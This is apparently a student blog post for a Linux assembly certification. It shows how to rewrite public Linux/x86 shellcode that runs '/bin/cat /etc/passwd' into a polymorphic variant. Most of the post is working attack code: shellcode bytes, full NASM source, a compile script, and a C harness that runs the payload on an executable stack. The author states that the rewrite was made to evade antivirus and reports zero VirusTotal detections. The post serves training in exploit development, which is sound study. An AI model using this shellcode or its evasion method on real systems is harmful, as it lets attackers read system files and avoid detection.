Student ID: SLAE-1250
Assignment Six: Polymorphic Conversion of Shellcode Part Two - bin/cat /etc/passwd
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html
All code can be found in: https://github.com/securitychops/security-tube-slae32
All work was tested on a 32bit version of Ubuntu 12.10
TLDR; - JMP short Final_Breakdown
Part two of assignment six of the SLAE has us performing our second polymorphic transformation on the Linux/x86 shellcode taken from shell-storm.org:
Linux/x86 - bin/cat /etc/passwd - 43 bytes
Even though shellcode’s URL shows us the assembly that was used to produce the payload it is always smart to verify that the generated shellcode being provided is indeed the same machine code that is being claimed. In order to do that we will again lean on ndisasm in order to decompile the shellcode back into the assembly code for verification!
echo -ne "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" | ndisasm -u -
Which does indeed produces the same assembly code that the shellcode author claimed to have used to create it (with comments added by me of course)!
xor eax,eax ; zero out eax
cdq ; zero out edx
push edx ; push null terminator to stack
push dword 0x7461632f ; tac/
push dword 0x6e69622f ; nib/
mov ebx,esp ; move /bin/cat\0 to ebx
push edx ; push null terminator to stack
push dword 0x64777373 ; dwss
push dword 0x61702f2f ; ap//
push dword 0x6374652f ; cte/
mov ecx,esp ; move /etc//passwd\0 to ecx
mov al,0xb ; move 0x0B hex or 11 decimal to eax (execve)
push edx ; push null terminator to stack
push ecx ; moves /etc//passwd to stack
push ebx ; moves /bin/cat to stack
mov ecx,esp ; moves /bin/cat\0/etc//passwd\0 to ecx
int 0x80 ; execve was just called...
I have gone ahead and added a few notes in the assembly code that was produced above to hopefully make it more clear as to what is happening!
Just like we did in previous examples we again referenced /usr/include/i386-linux-gnu/asm/unistd_32.h and were able to find out that the first function that we are going to be calling is:
#define __NR_execve 11
which in C is:
int execve(const char *filename, char *const argv[], char *const envp[]);
If it is unclear why we would be calling the execve function in this way please refer to the first blog post in this series as it goes into an extremely detailed explanation of who/what/why/how this is being done: Assignment One: Creating Shellcode to Bind a Shell Over TCP
The shellcode size we end up with is only 43 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 63 bytes for our shellcode!
Below is the polymorphic version of the shellcode that I put together, it is not too crazy and only has a few differences but was enough to evade ClamAV! Even better is this shellcode ends up only being 48 bytes, so while not smaller then our original shellcode it is significantly smaller than 150%!
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.2 : polymorphic bin/cat /etc/passwd for Linux/x86 Assembly
; File Name : cat-passwd.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-571.php
global _start
section .text
_start:
xor ecx,ecx ; zero out ecx
mul ecx ; will zero out edx and eax
; for more info see the following URL
; https://en.wikibooks.org/wiki/X86_Assembly/Arithmetic
mov ebx, ecx ; zero out ebx
push edx ; push null terminator to stack
push dword 0x7461632f ; tac/
push dword 0x6e69622f ; nib/
mov ebx,esp ; move /bin/cat\0 to ebx
push edx ; push null terminator to stack
push dword 0x64777373 ; dwss
push dword 0x61702f2f ; ap//
push dword 0x6374652f ; cte/
mov ecx,esp ; move /etc//passwd\0 to ecx
mov al,0x0A ; move 0x0A hex or 10 decimal to eax
inc al ; increase eax to be 11 instead of 10
push edx ; push null terminator to stack
push ecx ; moves /etc//passwd to stack
push ebx ; moves /bin/cat to stack
mov ecx,esp ; moves /bin/cat\0/etc//passwd\0 to ecx
int 0x80 ; execve was just called...
The main takeaway from this block of code was the usage of the mul instruction in order to clear out ebx and edx with one instruction as well as the mov al, 0x0A followed immediately by the inc al instruction to get it back up to 11! There is nothing earth shattering going on here, but I think it drives an important point home in that even the slightest deviation from a known pattern for shellcode can be enough to evade different AntiVirus programs!
Just like in the first few lessons of the SLAE we again leveraged our helper compile.sh script in order to assemble our shellcode into a linked elf binary as such:
./compile.sh cat-passwd
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Once we had the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode through the same command line fu as from the earlier lessons:
objdump -d ./cat-passwd|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
commandlinefu - shellcode from objdump
Which produces the following 48 bytes of shellcode!
"\x31\xc9\xf7\xe1\x89\xcb\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0a\xfe\xc0\x52\x51\x53\x89\xe1\xcd\x80"
At this point we are now able to replace the shellcode in our helper C program as such:
// Student ID : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 6.2 : Shell Code Test File
// File Name : cat-passwd.c
#include<stdio.h>
#include<string.h>
//compile with: gcc cat-passwd.c -o cat-passwd -fno-stack-protector -z execstack
unsigned char code[] = \
"\x31\xc9\xf7\xe1\x89\xcb\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0a\xfe\xc0\x52\x51\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process
gcc cat-passwd.c -o cat-passwd -fno-stack-protector -z execstack
Animated gif of the complete compilation and running of our polymorphic shellcode!
Just like in the previous blog post the really interesting part is the difference between the results returned for each of the shellcode after being uploaded to VirusTotal!
The first assembled elf32 binary from the Shell-Storm shellcode produces the following results when uploaded to VirusTotal
And the second set of obfuscated shellcode we wrote produced the following results when uploaded to VirusTotal
And just like last time we can again see that zero findings is still better than one!
Final_Breakdown:
Below are the contents of the final code needed to generate the polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86 - bin/cat /etc/passwd - 43 bytes.
Assembly Code
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.2 : polymorphic bin/cat /etc/passwd for Linux/x86 Assembly
; File Name : cat-passwd.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-571.php
global _start
section .text
_start:
xor ecx,ecx ; zero out ecx
mul ecx ; will zero out edx and eax
; for more info see the following URL
; https://en.wikibooks.org/wiki/X86_Assembly/Arithmetic
mov ebx, ecx ; zero out ebx
push edx ; push null terminator to stack
push dword 0x7461632f ; tac/
push dword 0x6e69622f ; nib/
mov ebx,esp ; move /bin/cat\0 to ebx
push edx ; push null terminator to stack
push dword 0x64777373 ; dwss
push dword 0x61702f2f ; ap//
push dword 0x6374652f ; cte/
mov ecx,esp ; move /etc//passwd\0 to ecx
mov al,0x0A ; move 0x0A hex or 10 decimal to eax
inc al ; increase eax to be 11 instead of 10
push edx ; push null terminator to stack
push ecx ; moves /etc//passwd to stack
push ebx ; moves /bin/cat to stack
mov ecx,esp ; moves /bin/cat\0/etc//passwd\0 to ecx
int 0x80 ; execve was just called...
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/cat-passwd.nasm
Helper Compile Bash Script
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/compile.sh
Final C Program To Execute Shellcode
// Student ID : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 6.2 : Shell Code Test File
// File Name : cat-passwd.c
#include<stdio.h>
#include<string.h>
//compile with: gcc cat-passwd.c -o cat-passwd -fno-stack-protector -z execstack
unsigned char code[] = \
"\x31\xc9\xf7\xe1\x89\xcb\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0a\xfe\xc0\x52\x51\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}